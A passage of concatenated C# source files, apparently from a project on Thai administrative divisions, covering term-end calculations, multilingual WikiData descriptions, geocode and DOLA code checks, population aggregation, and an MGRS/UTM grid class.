var term = officeEntry.officials.OfficialTerms.FirstOrDefault();
if (term != null)
// foreach ( var term in office.council )
{
DateTime termEnd;
if (term.endSpecified)
{
termEnd = term.end;
}
else if (term.beginreason == OfficialBeginType.TermExtended)
{
if (term.title == OfficialType.TAOMayor)
{
termEnd = new DateTime(2050, 1, 1); // just a dummy future date
}
else
{
termEnd = new DateTime(2021, 3, 27);
}
}
else
{
termEnd = term.begin.AddYears(4).AddDays(-1);
}
if ((termEnd.CompareTo(begin) >= 0) & (termEnd.CompareTo(end) <= 0))
{
result.Add(new EntityTermEnd(this, null, term));
}
}
}
return result;
}
private IEnumerable<EntityTermEnd> CouncilTermsEndInTimeSpan(DateTime begin, DateTime end)
{
var result = new List<EntityTermEnd>();
foreach (var officeEntry in office)
{
officeEntry.council.SortByDate();
foreach (var term in officeEntry.council.CouncilTerms)
{
DateTime termEnd;
if (term.endSpecified)
{
termEnd = term.end;
}
else
{
termEnd = term.begin.AddYears(4).AddDays(-1);
}
if ((termEnd.CompareTo(begin) >= 0) & (termEnd.CompareTo(end) <= 0))
{
result.Add(new EntityTermEnd(this, term, null));
}
}
}
return result;
}
/// <summary>
/// Calculates list of entities which have a council ending their term within the given timespan.
/// </summary>
/// <param name="begin">Begin of timespan.</param>
/// <param name="end">End of timespan.</param>
/// <returns>List of entities with council term ends.</returns>
public IEnumerable<EntityTermEnd> EntitiesWithCouncilTermEndInTimeSpan(DateTime begin, DateTime end)
{
var result = new List<EntityTermEnd>();
foreach (var item in FlatList())
{
result.AddRange(item.CouncilTermsEndInTimeSpan(begin, end));
}
return result;
}
/// <summary>
/// Calculates list of entities which have a council ending their term within the given <paramref name="year"/>.
/// </summary>
/// <param name="year">Year to look for.</param>
/// <returns>List of entities with council term ends.</returns>
public IEnumerable<EntityTermEnd> EntitiesWithCouncilTermEndInYear(Int32 year)
{
return EntitiesWithCouncilTermEndInTimeSpan(new DateTime(year, 1, 1), new DateTime(year, 12, 31));
}
/// <summary>
/// Calculates list of entities which have a official ending their term within the given timespan.
/// </summary>
/// <param name="begin">Begin of timespan.</param>
/// <param name="end">End of timespan.</param>
/// <returns>List of entities with official term ends.</returns>
public IEnumerable<EntityTermEnd> EntitiesWithOfficialTermEndInTimeSpan(DateTime begin, DateTime end)
{
var result = new List<EntityTermEnd>();
foreach (var item in FlatList())
{
result.AddRange(item.OfficialTermsEndInTimeSpan(begin, end));
}
return result;
}
/// <summary>
/// Calculates list of entities which have a official ending their term within the given <paramref name="year"/>.
/// </summary>
/// <param name="year">Year to look for.</param>
/// <returns>List of entities with official term ends.</returns>
public IEnumerable<EntityTermEnd> EntitiesWithOfficialTermEndInYear(Int32 year)
{
return EntitiesWithOfficialTermEndInTimeSpan(new DateTime(year, 1, 1), new DateTime(year, 12, 31));
}
/// <summary>
/// Calculates list of entities which have no elected council currently.
/// </summary>
/// <returns>List of entities without elected council.</returns>
public IEnumerable<EntityTermEnd> EntitiesWithCouncilElectionPending()
{
var result = new List<EntityTermEnd>();
foreach (var item in FlatList())
{
result.AddRange(item.CouncilElectionsPending());
}
return result;
}
/// <summary>
/// Calculates list of entities which have no elected official currently.
/// </summary>
/// <param name="includeVacancy"><c>true</c> to include explicitly vacant posts as well, <c>false</c> otherwise.</param>
/// <returns>List of entities without elected official.</returns>
public IEnumerable<EntityTermEnd> EntitiesWithOfficialElectionPending(Boolean includeVacancy)
{
var result = new List<EntityTermEnd>();
foreach (var item in FlatList())
{
result.AddRange(item.OfficialElectionsPending(includeVacancy));
}
return result;
}
/// <summary>
/// Calculates list of entities which have no elected official currently.
/// </summary>
/// <returns>List of entities without elected official.</returns>
public IEnumerable<EntityTermEnd> EntitiesWithOfficialVacant()
{
var result = new List<EntityTermEnd>();
foreach (var item in FlatList())
{
result.AddRange(item.OfficialVacant());
}
return result;
}
/// <summary>
/// Calculates list of entities without a result for the latest official election.
/// </summary>
/// <returns>List of entities without a result for the latest official election.</returns>
public IEnumerable<EntityTermEnd> EntitiesWithLatestOfficialElectionResultUnknown()
{
var result = new List<EntityTermEnd>();
foreach (var item in FlatList())
{
result.AddRange(item.LatestOfficialElectionResultUnknown());
}
return result;
}
private String GetGermanWikiDataDescription()
{
String expandText = String.Empty;
switch (this.type)
{
case EntityType.Changwat:
return "Provinz in Thailand";
case EntityType.Khet:
return "Bezirk von Bangkok, Thailand";
case EntityType.Khwaeng:
expandText = "Unterbezirk von {0}, Bangkok, Thailand";
break;
case EntityType.Amphoe:
case EntityType.KingAmphoe:
expandText = "Landkreis in der Provinz {0}, Thailand";
break;
case EntityType.Tambon:
expandText = "Kommune im Landkreis {0}, Provinz {1}, Thailand";
break;
case EntityType.Muban:
expandText = "Dorf in Kommune {0}, Landkreis {1}, Provinz {2}, Thailand";
break;
case EntityType.TAO:
case EntityType.Thesaban:
case EntityType.ThesabanTambon:
case EntityType.ThesabanMueang:
case EntityType.ThesabanNakhon:
expandText = this.type.Translate(Language.German) + " im Landkreis {0}, Provinz {1}, Thailand";
break;
}
var allEntities = GlobalData.CompleteGeocodeList().FlatList();
var parents = new String[3];
var currentGeocode = geocode;
if (this.parent.Any())
{
currentGeocode = this.parent.First() * 100;
}
var index = 0;
while (currentGeocode / 100 != 0)
{
currentGeocode = currentGeocode / 100;
var parentEntity = allEntities.First(x => x.geocode == currentGeocode);
parents[index] = parentEntity.english;
index++;
}
for (Int32 i = index; i < 3; i++)
{
parents[i] = String.Empty;
}
return String.Format(expandText, parents);
}
/// <summary>
/// Gets the description ready to be set to WikiData.
/// </summary>
/// <param name="language">Language.</param>
/// <returns>Description of the entity.</returns>
public String GetWikiDataDescription(Language language)
{
if (type == EntityType.PAO)
{
switch (language)
{
case Language.English:
return "local government unit in Thailand";
case Language.German:
return "kommunale Verwaltungseinheit von Thailand";
case Language.Thai:
return "องค์กรปกครองส่วนท้องถิ่นของประเทศไทย";
default:
return String.Empty;
}
}
else if (language == Language.German)
{
// the hierarchical expansion does not sound good in German
return GetGermanWikiDataDescription();
}
else
{
var allEntities = GlobalData.CompleteGeocodeList().FlatList();
var typeValue = this.type.Translate(language);
var expanded = String.Empty; // 0 = type, 1 = hierarchy
var expandedTopLevel = String.Empty; // 0 = type
var hierarchy = String.Empty;
var hierarchyExpand = String.Empty; // 0 = name, 1 = type
switch (language)
{
case Language.English:
expanded = "{0} in {1}Thailand";
expandedTopLevel = "{0} of Thailand";
hierarchyExpand = "{0} {1}, ";
break;
case Language.German:
expanded = "{0} in {1}Thailand";
expandedTopLevel = "{0} in Thailand";
hierarchyExpand = "{1} {0}, ";
break;
case Language.Thai:
expanded = "{0}ใน{1}ประเทศไทย";
expandedTopLevel = "{0}ในประเทศไทย";
hierarchyExpand = "{1}{0} ";
break;
}
var currentGeocode = geocode;
if (this.parent.Any())
{
currentGeocode = this.parent.First() * 100;
}
while (currentGeocode / 100 != 0)
{
currentGeocode = currentGeocode / 100;
var parentEntity = allEntities.First(x => x.geocode == currentGeocode);
var parentType = parentEntity.type.Translate(language);
if (language == Language.Thai)
hierarchy += String.Format(hierarchyExpand, parentEntity.name, parentType);
else if (parentEntity.type == EntityType.Bangkok)
hierarchy += String.Format(hierarchyExpand, String.Empty, "Bangkok").TrimStart();
else
hierarchy += String.Format(hierarchyExpand, parentEntity.english, parentType);
}
return String.Format(expanded, typeValue, hierarchy);
}
}
/// <summary>
/// Gets the abbreviated Thai name.
/// </summary>
/// <value>The abbreviated Thai name, or String.Empty if no abbreviation is available.</value>
/// <remarks>Abbreviated name consists of the abbreviation of the administrative type followed by the name.</remarks>
public String AbbreviatedName
{
get
{
var abbreviation = ThaiTranslations.EntityAbbreviations[type];
if (String.IsNullOrEmpty(abbreviation))
{
return String.Empty;
}
else
{
return String.Format("{0}.{1}", abbreviation, name);
}
}
}
/// <summary>
/// Gets the full Thai name.
/// </summary>
/// <value>The full Thai name.</value>
/// <remarks>Full name consists of the administrative type followed by the name.</remarks>
public String FullName
{
get
{
var prefix = ThaiTranslations.EntityNamesThai[type];
if (name.StartsWith(prefix))
{
return name;
}
else
{
return ThaiTranslations.EntityNamesThai[type] + name;
}
}
}
/// <summary>
/// Gets the full English name.
/// </summary>
/// <value>The full English name.</value>
/// <remarks>Full name consists of the romanized name followed by the administrative type.</remarks>
public String EnglishFullName
{
get
{
return english + " " + ThaiTranslations.EntityNamesEnglish[type];
}
}
/// <summary>
/// Gets a list of obsolete geocodes of the entity.
/// </summary>
/// <value>List of obsolete geocodes of the entity.</value>
public IEnumerable<UInt32> OldGeocodes
{
get
{
if (_oldGeocode == null)
{
CalcOldGeocodes(GlobalData.CompleteGeocodeList().FlatList());
}
return _oldGeocode;
}
}
private void CalcOldGeocodes(IEnumerable<Entity> allEntities)
{
if (_oldGeocode == null)
{
var entities = allEntities.Where(x => x.newgeocode.Contains(this.geocode));
_oldGeocode = entities.Select(x => x.geocode).ToList();
}
}
private void CalcOldGeocodesRecursive(IEnumerable<Entity> allEntities)
{
CalcOldGeocodes(allEntities);
foreach (var subEntity in entity)
{
subEntity.CalcOldGeocodesRecursive(allEntities);
}
if ((this.type == EntityType.Tambon) && _oldGeocode != null && _oldGeocode.Any())
{
foreach (var muban in this.entity)
{
if (muban._oldGeocode == null)
{
muban._oldGeocode = new List<UInt32>();
}
foreach (var oldCode in _oldGeocode)
{
muban._oldGeocode.Add(oldCode * 100 + muban.geocode % 100);
}
}
}
}
/// <summary>
/// Fills <see cref="OldGeocodes"/> for this entity and all its sub-entities.
/// </summary>
/// <remarks>Usually to be used on country or province entities.</remarks>
public void CalcOldGeocodesRecursive()
{
CalcOldGeocodesRecursive(GlobalData.CompleteGeocodeList().FlatList().Where(x => x.newgeocode.Any()).ToList());
var allTambon = this.FlatList().Where(x => x.type == EntityType.Tambon);
foreach (var thesabanWithTambon in this.FlatList().Where(x => x.tambonSpecified))
{
if (thesabanWithTambon._oldGeocode == null)
{
thesabanWithTambon._oldGeocode = new List<UInt32>();
}
if (!thesabanWithTambon._oldGeocode.Contains(thesabanWithTambon.tambon + 50))
{
thesabanWithTambon._oldGeocode.Add(thesabanWithTambon.tambon + 50);
}
var tambon = allTambon.FirstOrDefault(x => x.geocode == thesabanWithTambon.tambon);
if ((tambon != null) && (tambon._oldGeocode != null))
{
foreach (var oldCode in tambon._oldGeocode)
{
thesabanWithTambon._oldGeocode.Add(oldCode + 50);
}
}
}
}
/// <summary>
/// Creates a special entity for the local governments which have no geocode by themselves, but are still linked with the Tambon.
/// </summary>
/// <returns>Newly created entity, or <c>null</c> is instance has no local government to split off.</returns>
public Entity CreateLocalGovernmentDummyEntity()
{
Entity result = null;
if (this.type == EntityType.Tambon || this.type == EntityType.Changwat)
{
var office = this.office.SingleOrDefault(x => x.type == OfficeType.TAOOffice || x.type == OfficeType.MunicipalityOffice || x.type == OfficeType.PAOOffice);
if (office != null)
{
result = new Entity
{
name = this.name,
english = this.english
};
if (this.type == EntityType.Tambon)
{
result.geocode = this.geocode + 50; // see http://tambon.blogspot.com/2009/07/geocodes-for-municipalities-my-proposal.html
}
else
{
result.geocode = this.geocode * 100 * 100 + 50;
}
result.obsolete = office.obsolete;
if (office.type == OfficeType.TAOOffice)
{
result.type = EntityType.TAO;
}
else if (office.type == OfficeType.PAOOffice)
{
result.type = EntityType.PAO;
}
else
{
result.type = EntityType.Thesaban;
}
if (result.type == EntityType.PAO)
{
result.parent.Add(this.geocode); // Province
}
else
{
result.tambon = this.geocode;
result.tambonSpecified = true;
result.parent.Add(this.geocode / 100); // Amphoe
}
result.wiki = office.wiki;
result.area = office.area;
result.office.Add(office);
// history has latest change at beginning
foreach (var history in office.history.Items.Where(x => x.status == ChangeStatus.Done || x.status == ChangeStatus.Gazette).Reverse())
{
if (history is HistoryRename rename)
{
result.name = rename.name;
result.english = rename.english;
}
if (history is HistoryStatus status)
{
result.type = status.@new;
}
if (history is HistoryCreate create)
{
result.type = create.type;
}
result.history.Items.Add(history);
}
if (result.type == EntityType.ThesabanTambon || result.type == EntityType.ThesabanMueang || result.type == EntityType.ThesabanNakhon)
{
if (office.type == OfficeType.TAOOffice)
{
office.type = OfficeType.MunicipalityOffice;
}
}
if (this._oldGeocode != null)
{
if (result._oldGeocode == null)
{
result._oldGeocode = new List<UInt32>();
}
foreach (var code in this._oldGeocode)
{
result._oldGeocode.Add(code + 50);
}
}
}
}
return result;
}
/// <summary>
/// Sorts the whole tree by its <see cref="Entity.geocode"/>.
/// </summary>
public void SortByGeocodeRecursively()
{
entity.Sort((x, y) => x.geocode.CompareTo(y.geocode));
foreach (var subEntity in entity)
{
subEntity.SortByGeocodeRecursively();
}
}
/// <summary>
/// Gets an enumeration of all geocodes which are not set correctly.
/// </summary>
/// <returns></returns>
public IEnumerable<UInt32> WrongGeocodes()
{
var result = new List<UInt32>();
var subGeocodes = entity.Select(x => x.geocode);
result.AddRange(subGeocodes.Where(x => !GeocodeHelper.IsBaseGeocode(this.geocode, x)));
var duplicates = subGeocodes.GroupBy(s => s).SelectMany(grp => grp.Skip(1));
result.AddRange(duplicates);
foreach (var subentity in entity)
{
result.AddRange(subentity.WrongGeocodes());
}
return result;
}
/// <summary>
/// Gets the DOLA data entries.
/// </summary>
/// <value>DOLA data entries.</value>
public IEnumerable<LocalAdministrationData> Dola
{
get
{
var localOffice = office.FirstOrDefault(y => y.type == OfficeType.MunicipalityOffice || y.type == OfficeType.TAOOffice || y.type == OfficeType.PAOOffice);
if (localOffice != null)
{
return localOffice.dola;
}
else
{
return null;
}
}
}
/// <summary>
/// Gets the area coverage entries of the local government.
/// </summary>
/// <value>The area coverage entries of the local government.</value>
public IEnumerable<LocalGovernmentCoverageEntity> LocalGovernmentAreaCoverage
{
get
{
var localOffice = office.FirstOrDefault(y => !y.obsolete && (y.type == OfficeType.MunicipalityOffice || y.type == OfficeType.TAOOffice || y.type == OfficeType.PAOOffice));
if (localOffice != null)
{
return localOffice.areacoverage;
}
else
{
return new List<LocalGovernmentCoverageEntity>();
}
}
}
/// <summary>
/// Gets the latest code as assigned by DOLA.
/// </summary>
/// <returns>Latest codes as assigned by DOLA. 0 if no code assigned.</returns>
public UInt32 LastedDolaCode()
{
var myDolaList = Dola;
if (myDolaList == null)
{
return 0; // nothing specified
}
var myDola = myDolaList.Where(x => x.codeSpecified).OrderBy(y => y.year).LastOrDefault();
if (myDola == null)
{
return 0; // no entry with code
}
else
{
return myDola.code;
}
}
/// <summary>
/// Checks whether the <see cref="LatestDolaCode"/> is well-formed.
/// </summary>
/// <returns><c>true</c> if latest DOLA code is well-formed, <c>false</c> otherwise.</returns>
/// <remarks>If no code found, <c>true</c> is returned.</remarks>
public Boolean DolaCodeValid()
{
var code = LastedDolaCode();
if (code == 0)
{
return true; // nothing specified -> valid
}
else
{
var result = true;
var dolaCodeType = code / 1000000;
switch (type)
{
case EntityType.PAO:
result &= (dolaCodeType == 2);
break;
case EntityType.ThesabanNakhon:
result &= (dolaCodeType == 3);
break;
case EntityType.ThesabanMueang:
result &= (dolaCodeType == 4);
break;
case EntityType.ThesabanTambon:
result &= (dolaCodeType == 5);
break;
case EntityType.TAO:
result &= (dolaCodeType == 6);
break;
}
UInt32 dolaAmphoe = (code % 1000000) / 100;
if (type == EntityType.PAO)
{
result &= dolaAmphoe == (geocode / 10000) * 100 + 1; // Amphoe Mueang of province
}
else
{
result &= parent.Contains(dolaAmphoe);
}
return result;
}
}
/// <summary>
/// Checks whether the <see cref="EntityType.Muban"/> is consistent.
/// </summary>
/// <returns><c>true</c> if number is consistent, <c>false</c> otherwise.</returns>
/// <remarks>Checks for numbers being consecutively, and the council size <see cref="EntityType.TAO"/> fitting with the number.</remarks>
public Boolean MubanNumberConsistent()
{
var nrOfMuban = entity.Count(x => x.type == EntityType.Muban);
var nrOfActiveMuban = entity.Count(x => x.type == EntityType.Muban && !x.IsObsolete);
if (nrOfMuban != 0)
{
if (entity.Last(x => x.type == EntityType.Muban).geocode % 100 != nrOfMuban)
{
return false;
}
}
var taoOffice = office.FirstOrDefault(x => x.type == OfficeType.TAOOffice && !x.obsolete);
if (taoOffice != null)
{
if (taoOffice.areacoverage.Count < 2) // if more than one Tambon, this simple check will fail
{
var latestTerm = taoOffice.council.CouncilTerms.First();
if (latestTerm.FinalSize > Math.Max(6, nrOfActiveMuban * 2)) // max(6,x) due to minimum size of council
{
return false;
}
}
}
foreach (var counter in entitycount.SelectMany(x => x.entry.Where(y => y.type == EntityType.Muban)))
{
if (counter.count > nrOfMuban)
{
return false; // had more Muban in past than now
}
if ((counter.count == 0) && (nrOfActiveMuban > 0))
{
return false; // had no Muban in past, but now has some
}
}
return true;
}
/// <summary>
/// Calculates the population for each of the local governments.
/// </summary>
/// <param name="localGovernments">Local governments to calculate.</param>
/// <param name="allEntities">All entities covered by the local governments.</param>
/// <param name="populationDataSource">Data source of the population data.</param>
/// <param name="populationYear">Reference year of the population data.</param>
public static void FillExplicitLocalGovernmentPopulation(IEnumerable<Entity> localGovernments, IEnumerable<Entity> allEntities, PopulationDataSourceType populationDataSource, Int16 populationYear)
{
var allPopulationData = allEntities.SelectMany(x => x.population.Where(y => y.Year == populationYear && y.source == populationDataSource));
// ToList() as the add of population data below will change the enumeration
var allPopulationDataWithGeocode = allPopulationData.Where(p => p.data.Any(d => d.geocode.Any())).ToList();
foreach (var sourcePopulationData in allPopulationDataWithGeocode)
{
// only use those population data which are exactly on one entity
foreach (var populationDataPoint in allPopulationDataWithGeocode.SelectMany(p => p.data.Where(d => d.geocode.Count == 1)))
{
var localGovernment = localGovernments.FirstOrDefault(x => populationDataPoint.geocode.Contains(x.geocode));
if (localGovernment != null && !localGovernment.population.Any(x => x.year == sourcePopulationData.year && x.source == sourcePopulationData.source))
{
var newDataPoint = new HouseholdDataPoint(populationDataPoint)
{
type = PopulationDataType.total
};
var populationData = new PopulationData
{
year = sourcePopulationData.year,
referencedate = sourcePopulationData.referencedate,
referencedateSpecified = sourcePopulationData.referencedateSpecified,
source = sourcePopulationData.source
};
populationData.data.Add(newDataPoint);
populationData.reference.AddRange(sourcePopulationData.reference);
localGovernment.population.Add(populationData);
}
}
}
}
/// <summary>
/// Calculates the population for each of the local governments.
/// </summary>
/// <param name="localGovernments">Local governments to calculate.</param>
/// <param name="allTambon">All tambon covered by the local governments.</param>
/// <param name="populationDataSource">Data source of the population data.</param>
/// <param name="populationYear">Reference year of the population data.</param>
public static void CalculateLocalGovernmentPopulation(IEnumerable<Entity> localGovernments, IEnumerable<Entity> allTambon, PopulationDataSourceType populationDataSource, Int16 populationYear)
{
foreach (var localEntityWithoutPopulation in localGovernments.Where(x =>
x.LocalGovernmentAreaCoverage.Any() && !x.population.Any(
y => y.Year == populationYear && y.source == populationDataSource)))
{
var populationData = new PopulationData();
localEntityWithoutPopulation.population.Add(populationData);
foreach (var coverage in localEntityWithoutPopulation.LocalGovernmentAreaCoverage)
{
var tambon = allTambon.Single(x => x.geocode == coverage.geocode);
var sourcePopulationData = tambon.population.FirstOrDefault(y => y.Year == populationYear && y.source == populationDataSource);
if (sourcePopulationData != null)
{
populationData.year = sourcePopulationData.year;
populationData.referencedate = sourcePopulationData.referencedate;
populationData.referencedateSpecified = sourcePopulationData.referencedateSpecified;
populationData.source = sourcePopulationData.source;
List<HouseholdDataPoint> dataPointToClone = new List<HouseholdDataPoint>();
dataPointToClone.AddRange(sourcePopulationData.data.Where(x => x.geocode.Contains(localEntityWithoutPopulation.geocode)));
if (!dataPointToClone.Any())
{
if (coverage.coverage == CoverageType.completely)
{
dataPointToClone.AddRange(sourcePopulationData.data);
}
else
{
dataPointToClone.AddRange(sourcePopulationData.data.Where(x => x.type == PopulationDataType.nonmunicipal));
}
}
foreach (var dataPoint in dataPointToClone)
{
var newDataPoint = new HouseholdDataPoint(dataPoint);
newDataPoint.geocode.Add(coverage.geocode);
populationData.data.Add(newDataPoint);
}
}
}
if (populationData.data.Count == 1)
{
populationData.data.First().type = PopulationDataType.total;
}
populationData.CalculateTotal();
}
}
/// <summary>
/// Counts the types of entities in the given enumeration.
/// </summary>
/// <param name="entities">Entities to count.</param>
/// <returns>Number of entities by entity type.</returns>
public static Dictionary<EntityType, Int32> CountSubdivisions(IEnumerable<Entity> entities)
{
var counted = entities.GroupBy(x => x.type).Select(group => new
{
type = group.Key,
count = group.Count()
});
var result = new Dictionary<EntityType, Int32>();
foreach (var keyvaluepair in counted)
{
result[keyvaluepair.type] = keyvaluepair.count;
}
return result;
}
/// <summary>
/// Calculates the subdivisions within this instance which have no location set.
/// </summary>
/// <param name="localGovernments">Local governments, to include if below this instance.</param>
/// <returns>Number of entities by entity type.</returns>
public Dictionary<EntityType, Int32> CountSubdivisionsWithoutLocation(IEnumerable<Entity> localGovernments)
{
var toCount = new List<Entity>();
if (localGovernments != null)
{
toCount.AddRange(LocalGovernmentEntitiesOf(localGovernments));
}
toCount.AddRange(this.FlatList().Where(x => !x.type.IsLocalGovernment()));
toCount.RemoveAll(x => x.type == EntityType.Unknown || x.IsObsolete);
toCount.RemoveAll(x => x.office.Any(y => y.Point != null));
return Entity.CountSubdivisions(toCount);
}
/// <summary>
/// Calculates the subdivisions within this instance.
/// </summary>
/// <param name="localGovernments">Local governments, to include if below this instance.</param>
/// <returns>Number of entities by entity type.</returns>
public Dictionary<EntityType, Int32> CountAllSubdivisions(IEnumerable<Entity> localGovernments)
{
var toCount = new List<Entity>();
if (localGovernments != null)
{
toCount.AddRange(LocalGovernmentEntitiesOf(localGovernments).SelectMany(x => x.FlatList()));
}
// Chumchon and local governments are already in list, so filter them out while adding the central government units
toCount.AddRange(this.FlatList().Where(x => !x.type.IsLocalGovernment() && x.type != EntityType.Chumchon));
toCount.RemoveAll(x => x.type == EntityType.Unknown || x.IsObsolete);
return Entity.CountSubdivisions(toCount);
}
/// <summary>
/// Filters the local governments which are below this instance.
/// </summary>
/// <param name="localGovernments">Local governments to filter.</param>
/// <returns>Filtered local governments.</returns>
public IEnumerable<Entity> LocalGovernmentEntitiesOf(IEnumerable<Entity> localGovernments)
{
return localGovernments.Where(x => x.parent.Contains(this.geocode) || GeocodeHelper.IsBaseGeocode(this.geocode, x.geocode));
}
/// <summary>
/// Gets the current entity in case <see cref="IsObsolete"/> is <c>true</c>.
/// </summary>
/// <param name="baseEntity">Base entity to lookup for the current entity.</param>
/// <returns>Self if <see cref="IsObsolete"/> is <c>false</c>, the active entity referenced by <see cref="newgeocode"/> otherwise.</returns>
public Entity CurrentEntity(Entity baseEntity)
{
var result = this;
if (newgeocode.Any())
{
var flatList = baseEntity.FlatList();
var newEntities = newgeocode.SelectMany(x => flatList.Where(y => y.geocode == x));
result = newEntities.FirstOrDefault(x => !x.IsObsolete);
if (result == null)
{
newEntities = newEntities.SelectMany(x => flatList.Where(y => y.geocode == x.geocode));
result = newEntities.FirstOrDefault(x => !x.IsObsolete);
}
}
return result;
}
/// <summary>
/// Calculates the sub-entity after which the entity was named.
/// </summary>
/// <returns>Sub-entity after which the entity was named. <c>null</c> if not named after any sub-entity.</returns>
/// <remarks>In case either entity or sub-entity had name changes, <c>null</c> is returned instead of checking the name at creation.</remarks>
public Entity NamedAfterEntity()
{
Entity result = null;
var creation = history.Items.OfType<HistoryCreate>().FirstOrDefault(x => x.status == ChangeStatus.Done || x.status == ChangeStatus.Gazette);
if (creation != null && !creation.Items.OfType<HistoryRename>().Any())
{
if (this.type.IsLocalGovernment())
{
if (creation.type == EntityType.TAO || creation.type == EntityType.SaphaTambon)
{
var allTambon = GlobalData.CompleteGeocodeList().FlatList().Where(x => x.type == EntityType.Tambon);
var sameNamedTambon = allTambon.Where(x => x.name == this.name).ToList();
result = sameNamedTambon.FirstOrDefault(x => this.LocalGovernmentAreaCoverage.Any(y => y.geocode == x.geocode));
}
}
else
{
var subEntity = entity.FirstOrDefault(x => x.name == this.name || x.name.StripBanOrChumchon() == this.name);
if (subEntity != null)
{
var subEntityReassign = subEntity.history.Items.OfType<HistoryReassign>().FirstOrDefault(x => x.effective == creation.effective);
if (subEntityReassign != null && !subEntityReassign.Items.OfType<HistoryRename>().Any())
{
result = subEntity;
}
}
}
}
return result;
}
}
}<file_sep>/AHGeo/MgrsGridElement.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Geo
{
public class MgrsGridElement : GeoFrameBase
{
#region properties
public UtmPoint CentralPoint
{
get;
private set;
}
private Int16 _Digits = UtmPoint.MinimumDigits;
public Int16 Digits
{
get { return _Digits; }
private set { _Digits = Math.Max(UtmPoint.MinimumDigits,value); }
}
public GeoDatum Datum { get; set; }
#endregion
#region methods
private static Int32 GridSize(Int16 digits)
{
Int16 actualDigits = UtmPoint.MakeDigitValid(digits);
Int32 result = Convert.ToInt32(Math.Pow(10, UtmPoint.MaximumDigits - actualDigits));
return result;
}
private static UtmPoint MakeCentral(UtmPoint point, Int16 digits)
{
String value = point.ToUtmString(digits);
UtmPoint utmPoint = new UtmPoint(value);
Double distance = 0.5 * GridSize(digits);
Double easting = utmPoint.Easting + distance;
Double northing = utmPoint.Northing + distance;
UtmPoint middlePoint = new UtmPoint(easting, northing, utmPoint.ZoneNumber, utmPoint.IsNorthernHemisphere);
return middlePoint;
}
private Boolean SameZone(UtmPoint point)
{
GeoPoint geoPoint = new GeoPoint(point, Datum);
UtmPoint realUtm = geoPoint.CalcUTM();
Boolean result = (CentralPoint.ZoneNumber == realUtm.ZoneNumber);
return result;
}
private UtmPoint LimitToZone(UtmPoint point)
{
UtmPoint result = new UtmPoint(point);
Int32 minEasting = 0;
Int32 maxEasting = 0;
if ( point.Easting < CentralPoint.Easting )
{
minEasting = point.Easting;
maxEasting = minEasting + GridSize(_Digits);
}
else
{
maxEasting = point.Easting;
minEasting = maxEasting - GridSize(_Digits);
}
Int32 leftZone = 0;
{
UtmPoint tempUtmPoint = new UtmPoint(point);
tempUtmPoint.Easting = minEasting;
GeoPoint tempGeoPoint = new GeoPoint(tempUtmPoint, Datum);
tempUtmPoint = tempGeoPoint.CalcUTM();
leftZone = tempUtmPoint.ZoneNumber;
}
Int32 eastingDiff = maxEasting - minEasting;
while ( eastingDiff > 1 )
{
Int32 tempEasting = minEasting + eastingDiff / 2;
result = new UtmPoint(point);
result.Easting = tempEasting;
GeoPoint tempGeoPoint = new GeoPoint(result, Datum);
UtmPoint empUtmPoint = tempGeoPoint.CalcUTM();
if ( empUtmPoint.ZoneNumber > leftZone )
{
maxEasting = tempEasting;
}
else
{
minEasting = tempEasting;
}
eastingDiff = eastingDiff / 2;
}
return result;
}
public UtmPoint NorthWestCornerUtm()
{
String value = CentralPoint.ToUtmString(_Digits);
UtmPoint result = new UtmPoint(value);
if ( !SameZone(result) )
{
result = LimitToZone(result);
}
return result;
}
public UtmPoint NorthEastCornerUtm()
{
String value = CentralPoint.ToUtmString(_Digits);
UtmPoint result = new UtmPoint(value);
result.Easting += GridSize(_Digits);
if ( !SameZone(result) )
{
result = LimitToZone(result);
}
return result;
}
public UtmPoint SouthWestCornerUtm()
{
String value = CentralPoint.ToUtmString(_Digits);
UtmPoint result = new UtmPoint(value);
result.Northing += GridSize(_Digits);
if ( !SameZone(result) )
{
result = LimitToZone(result);
}
return result;
}
public UtmPoint SouthEastCornerUtm()
{
String value = CentralPoint.ToUtmString(_Digits);
UtmPoint result = new UtmPoint(value);
result.Easting += GridSize(_Digits);
result.Northing += GridSize(_Digits);
if ( !SameZone(result) )
{
result = LimitToZone(result);
}
return result;
}
public UtmPoint ActualCentralPoint()
{
String value = CentralPoint.ToUtmString(_Digits);
UtmPoint west = new UtmPoint(value);
west.Northing += GridSize(_Digits) / 2;
UtmPoint east = new UtmPoint(west);
east.Easting += GridSize(_Digits);
if ( !SameZone(west) )
{
west = LimitToZone(west);
}
if ( !SameZone(east) )
{
east = LimitToZone(east);
}
UtmPoint result = new UtmPoint(value);
result.Northing += GridSize(_Digits) / 2;
result.Easting = (west.Easting + east.Easting) / 2;
return result;
}
public Boolean IsValid()
{
Boolean result = SameZone(ActualCentralPoint());
return result;
}
protected override GeoPoint GetNorthWestCorner()
{
return new GeoPoint(NorthWestCornerUtm(),Datum);
}
protected override GeoPoint GetNorthEastCorner()
{
return new GeoPoint(NorthEastCornerUtm(), Datum);
}
protected override GeoPoint GetSouthWestCorner()
{
return new GeoPoint(SouthWestCornerUtm(), Datum);
}
protected override GeoPoint GetSouthEastCorner()
{
return new GeoPoint(SouthEastCornerUtm(), Datum);
}
public List<MgrsGridElement> SubGrids()
{
List<MgrsGridElement> result = new List<MgrsGridElement>();
String start = Name.Substring(0, 5);
String numbers = Name.Remove(0, 5);
for ( Int32 subEasting = 0 ; subEasting < 10 ; subEasting++ )
{
for ( Int32 subNorthing = 0 ; subNorthing < 10 ; subNorthing++ )
{
String eastingString = numbers.Substring(0, _Digits - 2) + subEasting.ToString();
String northingString = numbers.Substring(_Digits - 2, _Digits - 2) + subNorthing.ToString();
String name = start + eastingString + northingString;
MgrsGridElement subElement = new MgrsGridElement(name);
subElement.Datum = this.Datum;
if ( subElement.IsValid() )
{
result.Add(subElement);
}
}
}
return result;
}
#endregion
public MgrsGridElement()
{
Datum = GeoDatum.DatumWGS84();
}
private void SetMgrs(String value)
{
String mgrs = value.Replace(" ", "");
Int16 digits = Convert.ToInt16((mgrs.Length - 1) / 2);
CentralPoint = MakeCentral(UtmPoint.ParseMgrsString(value), digits);
_Digits = digits;
Name = value;
}
public MgrsGridElement(String mgrs)
{
Datum = GeoDatum.DatumWGS84();
SetMgrs(mgrs);
}
}
}
<file_sep>/AHGeo/RtsdMapFrame.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Geo
{
public class RtsdMapFrame : GeoFrameBase
{
#region fields
private GeoPoint _northWestCorner;
#endregion
#region properties
